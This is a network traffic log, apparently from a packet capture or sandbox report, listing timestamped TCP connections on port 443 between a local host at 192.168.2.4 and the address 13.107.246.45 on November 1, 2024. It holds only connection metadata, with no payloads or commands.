Nov 1, 2024 03:46:03.487541914 CET	49791	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.487541914 CET	49791	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.487571001 CET	443	49791	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.487597942 CET	443	49791	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.500752926 CET	443	49792	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.502978086 CET	49792	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.502978086 CET	49792	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.502990961 CET	443	49792	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.503005028 CET	443	49792	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.512226105 CET	443	49793	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.518227100 CET	49793	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.518250942 CET	443	49793	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.518872976 CET	49793	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.518877983 CET	443	49793	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.615767956 CET	443	49791	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.615835905 CET	443	49791	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.616134882 CET	49791	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.616136074 CET	49791	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.617997885 CET	49791	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.618035078 CET	443	49791	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.619052887 CET	49796	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.619079113 CET	443	49796	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.619277000 CET	49796	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.619277000 CET	49796	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.619309902 CET	443	49796	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.630834103 CET	443	49792	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.631007910 CET	443	49792	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.631346941 CET	49792	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.631346941 CET	49792	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.633285999 CET	49792	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.633294106 CET	443	49792	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.633306026 CET	49797	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.633357048 CET	443	49797	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.633532047 CET	49797	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.633532047 CET	49797	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.633599043 CET	443	49797	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.642981052 CET	443	49793	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.643126011 CET	443	49793	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.643202066 CET	49793	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.643202066 CET	49793	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.644946098 CET	49793	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.644952059 CET	49798	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.644957066 CET	443	49793	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.644983053 CET	443	49798	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:03.645184040 CET	49798	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.645184040 CET	49798	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:03.645215988 CET	443	49798	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.016844034 CET	443	49794	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.017534018 CET	49794	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.017549038 CET	443	49794	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.018342018 CET	49794	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.018347025 CET	443	49794	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.031230927 CET	443	49795	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.031971931 CET	49795	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.032000065 CET	443	49795	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.032433987 CET	49795	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.032439947 CET	443	49795	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.149101973 CET	443	49794	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.149240017 CET	443	49794	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.149288893 CET	49794	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.149550915 CET	49794	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.149559021 CET	443	49794	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.154706955 CET	49799	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.154789925 CET	443	49799	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.154865980 CET	49799	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.155117989 CET	49799	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.155153036 CET	443	49799	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.160645008 CET	443	49795	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.160929918 CET	443	49795	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.160984039 CET	49795	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.161041975 CET	49795	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.161063910 CET	443	49795	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.161076069 CET	49795	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.161087990 CET	443	49795	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.166565895 CET	49800	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.166591883 CET	443	49800	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.166760921 CET	49800	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.166836977 CET	49800	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.166841030 CET	443	49800	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.346919060 CET	443	49796	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.350150108 CET	49796	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.350162983 CET	443	49796	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.354207039 CET	49796	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.354214907 CET	443	49796	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.358225107 CET	443	49797	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.362174034 CET	49797	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.362234116 CET	443	49797	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.366641045 CET	49797	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.366656065 CET	443	49797	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.372200966 CET	443	49798	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.374644041 CET	49798	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.374654055 CET	443	49798	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.381850958 CET	49798	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.381855965 CET	443	49798	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.477951050 CET	443	49796	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.478086948 CET	443	49796	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.478142977 CET	49796	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.490510941 CET	443	49797	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.490962029 CET	443	49797	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.491038084 CET	49797	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.505784988 CET	443	49798	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.505883932 CET	443	49798	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.505934954 CET	49798	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.510016918 CET	49796	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.510030031 CET	443	49796	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.510049105 CET	49796	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.510056019 CET	443	49796	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.521024942 CET	49798	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.521030903 CET	443	49798	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.521045923 CET	49798	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.521050930 CET	443	49798	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.559338093 CET	49797	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.559338093 CET	49797	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.559376001 CET	443	49797	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.559418917 CET	443	49797	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.630954027 CET	49801	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.631010056 CET	443	49801	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.631144047 CET	49801	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.648108006 CET	49802	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.648128986 CET	443	49802	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.648195028 CET	49802	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.648478031 CET	49801	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.648507118 CET	443	49801	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.650573969 CET	49803	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.650594950 CET	443	49803	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.650650024 CET	49803	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.651153088 CET	49803	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.651165009 CET	443	49803	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.652386904 CET	49802	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.652398109 CET	443	49802	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.892642975 CET	443	49799	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.893163919 CET	49799	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.893202066 CET	443	49799	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.893728971 CET	49799	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.893740892 CET	443	49799	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.898498058 CET	443	49800	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.899028063 CET	49800	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.899044037 CET	443	49800	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:04.899574041 CET	49800	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:04.899579048 CET	443	49800	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.025717974 CET	443	49799	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.025803089 CET	443	49799	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.025866985 CET	49799	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.026062965 CET	49799	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.026062965 CET	49799	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.026109934 CET	443	49799	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.026134968 CET	443	49799	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.028616905 CET	443	49800	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.028700113 CET	443	49800	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.028848886 CET	49800	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.029031038 CET	49804	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.029059887 CET	443	49804	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.029073000 CET	49800	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.029086113 CET	443	49800	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.029123068 CET	49804	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.029134989 CET	49800	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.029139996 CET	443	49800	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.029335022 CET	49804	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.029345036 CET	443	49804	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.031069040 CET	49805	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.031102896 CET	443	49805	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.031266928 CET	49805	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.031390905 CET	49805	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.031404972 CET	443	49805	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.381422043 CET	443	49802	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.381437063 CET	443	49801	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.381990910 CET	49801	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.382011890 CET	443	49801	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.382066965 CET	49802	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.382075071 CET	443	49802	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.382502079 CET	49801	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.382508039 CET	443	49801	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.382605076 CET	49802	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.382610083 CET	443	49802	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.397473097 CET	443	49803	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.400486946 CET	49803	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.400499105 CET	443	49803	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.400969028 CET	49803	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.400974989 CET	443	49803	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.510077000 CET	443	49802	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.510122061 CET	443	49802	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.510219097 CET	443	49801	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.510242939 CET	49802	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.510560036 CET	49802	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.510560036 CET	49802	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.510571957 CET	443	49802	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.510596991 CET	443	49801	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.510601044 CET	443	49802	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.510667086 CET	49801	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.510732889 CET	49801	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.510750055 CET	443	49801	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.510760069 CET	49801	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.510766029 CET	443	49801	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.513920069 CET	49806	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.513941050 CET	443	49806	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.513942957 CET	49807	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.513976097 CET	443	49807	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.514018059 CET	49806	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.514050007 CET	49807	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.514189959 CET	49807	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.514199972 CET	49806	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.514205933 CET	443	49807	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.514208078 CET	443	49806	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.536928892 CET	443	49803	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.536982059 CET	443	49803	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.537090063 CET	49803	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.537285089 CET	49803	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.537290096 CET	443	49803	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.539122105 CET	49808	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.539141893 CET	443	49808	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.539210081 CET	49808	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.539328098 CET	49808	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.539339066 CET	443	49808	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.764767885 CET	443	49805	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.765477896 CET	49805	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.765490055 CET	443	49805	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.765981913 CET	49805	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.765985966 CET	443	49805	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.771624088 CET	443	49804	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.771925926 CET	49804	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.771939039 CET	443	49804	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.772285938 CET	49804	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.772290945 CET	443	49804	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.893838882 CET	443	49805	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.893942118 CET	443	49805	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.894001961 CET	49805	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.894247055 CET	49805	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.894263983 CET	443	49805	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.894275904 CET	49805	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.894282103 CET	443	49805	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.897852898 CET	49809	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.897882938 CET	443	49809	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.897996902 CET	49809	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.898227930 CET	49809	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.898238897 CET	443	49809	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.903513908 CET	443	49804	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.904082060 CET	443	49804	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.904135942 CET	49804	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.904258013 CET	49804	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.904274940 CET	443	49804	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.904284000 CET	49804	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.904288054 CET	443	49804	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.906209946 CET	49810	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.906244040 CET	443	49810	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:05.906322956 CET	49810	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.906502008 CET	49810	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:05.906517029 CET	443	49810	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.419864893 CET	443	49807	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.420454979 CET	49807	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.420469046 CET	443	49807	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.420964003 CET	443	49806	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.421049118 CET	49807	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.421055079 CET	443	49807	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.421284914 CET	49806	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.421298027 CET	443	49806	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.421669960 CET	49806	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.421674013 CET	443	49806	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.423451900 CET	443	49808	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.424228907 CET	49808	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.424241066 CET	443	49808	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.424686909 CET	49808	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.424690962 CET	443	49808	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.547162056 CET	443	49807	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.547369957 CET	443	49807	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.547425985 CET	49807	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.547489882 CET	49807	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.547503948 CET	443	49807	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.547518015 CET	49807	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.547524929 CET	443	49807	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.550081015 CET	443	49806	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.550237894 CET	443	49806	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.550342083 CET	49806	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.550364017 CET	49806	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.550376892 CET	443	49806	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.550384998 CET	49806	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.550390959 CET	443	49806	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.550980091 CET	49811	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.551008940 CET	443	49811	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.551177025 CET	49811	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.551337004 CET	49811	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.551350117 CET	443	49811	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.552649975 CET	49812	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.552655935 CET	443	49808	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.552671909 CET	443	49812	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.552726984 CET	49812	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.552845955 CET	49812	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.552860022 CET	443	49812	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.552948952 CET	443	49808	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.553236961 CET	49808	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.553328991 CET	49808	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.553328991 CET	49808	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.553344011 CET	443	49808	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.553352118 CET	443	49808	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.555568933 CET	49813	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.555588007 CET	443	49813	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.555702925 CET	49813	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.555917978 CET	49813	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.555929899 CET	443	49813	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.637499094 CET	443	49810	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.638129950 CET	49810	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.638147116 CET	443	49810	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.638618946 CET	49810	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.638623953 CET	443	49810	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.642342091 CET	443	49809	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.642703056 CET	49809	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.642712116 CET	443	49809	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.643277884 CET	49809	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.643281937 CET	443	49809	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.767081976 CET	443	49810	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.767391920 CET	443	49810	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.767452002 CET	49810	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.767472029 CET	49810	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.767486095 CET	443	49810	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.767494917 CET	49810	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.767502069 CET	443	49810	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.771008968 CET	49814	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.771037102 CET	443	49814	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.771097898 CET	49814	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.771255016 CET	49814	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.771267891 CET	443	49814	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.772768974 CET	443	49809	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.772986889 CET	443	49809	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.773418903 CET	49809	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.773559093 CET	49809	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.773559093 CET	49809	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.773569107 CET	443	49809	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.773582935 CET	443	49809	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.775862932 CET	49815	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.775882959 CET	443	49815	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:06.776357889 CET	49815	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.776711941 CET	49815	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:06.776724100 CET	443	49815	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.274688959 CET	443	49813	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.281364918 CET	443	49812	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.282902002 CET	49813	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.282917023 CET	443	49813	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.286755085 CET	49813	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.286760092 CET	443	49813	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:07.290570974 CET	49812	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:07.290590048 CET	443	49812	13.107.246.45	192.168.2.4
